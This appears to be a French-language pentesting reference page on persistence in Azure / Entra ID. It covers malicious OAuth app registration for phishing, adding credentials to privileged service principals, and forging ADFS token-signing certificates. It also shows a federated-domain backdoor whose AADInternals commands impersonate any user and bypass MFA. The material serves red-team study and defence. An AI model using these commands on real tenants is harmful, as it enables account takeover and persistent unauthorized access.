# Az - Persistence

{{#include ../../../banners/hacktricks-training.md}}

### OAuth Application

Par défaut, tout utilisateur peut enregistrer une application dans Entra ID. Vous pouvez donc enregistrer une application (uniquement pour le locataire cible) qui nécessite des autorisations à fort impact avec le consentement de l'administrateur (et l'approuver si vous êtes l'administrateur) - comme envoyer des mails au nom d'un utilisateur, la gestion des rôles, etc. Cela nous permettra d'**exécuter des attaques de phishing** qui seraient très **fructueuses** en cas de succès.

De plus, vous pourriez également accepter cette application avec votre utilisateur comme moyen de maintenir l'accès.

### Applications et Principaux de Service

Avec les privilèges d'Administrateur d'Application, GA ou un rôle personnalisé avec des permissions microsoft.directory/applications/credentials/update, nous pouvons ajouter des identifiants (secret ou certificat) à une application existante.

Il est possible de **cibler une application avec des autorisations élevées** ou **d'ajouter une nouvelle application** avec des autorisations élevées.

Un rôle intéressant à ajouter à l'application serait le **rôle d'administrateur d'authentification privilégiée** car il permet de **réinitialiser le mot de passe** des Administrateurs Globaux.

Cette technique permet également de **contourner la MFA**.
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- Pour l'authentification basée sur des certificats
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### Federation - Certificat de signature de jeton

Avec des **privileges DA** sur AD local, il est possible de créer et d'importer de **nouveaux certificats de signature de jeton** et de **décryptage de jeton** qui ont une très longue validité. Cela nous permettra de **nous connecter en tant que n'importe quel utilisateur** dont nous connaissons l'ImmutableID.

**Exécutez** la commande ci-dessous en tant que **DA sur le(s) serveur(s) ADFS** pour créer de nouveaux certificats (mot de passe par défaut 'AADInternals'), les ajouter à ADFS, désactiver le renouvellement automatique et redémarrer le service :
```bash
New-AADIntADFSSelfSignedCertificates
```
Ensuite, mettez à jour les informations du certificat avec Azure AD :
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Fédération - Domaine de confiance

Avec des privilèges GA sur un locataire, il est possible d'**ajouter un nouveau domaine** (doit être vérifié), de configurer son type d'authentification en tant que Fédéré et de configurer le domaine pour **faire confiance à un certificat spécifique** (any.sts dans la commande ci-dessous) et à l'émetteur :
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
```
## Références

- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)

{{#include ../../../banners/hacktricks-training.md}}
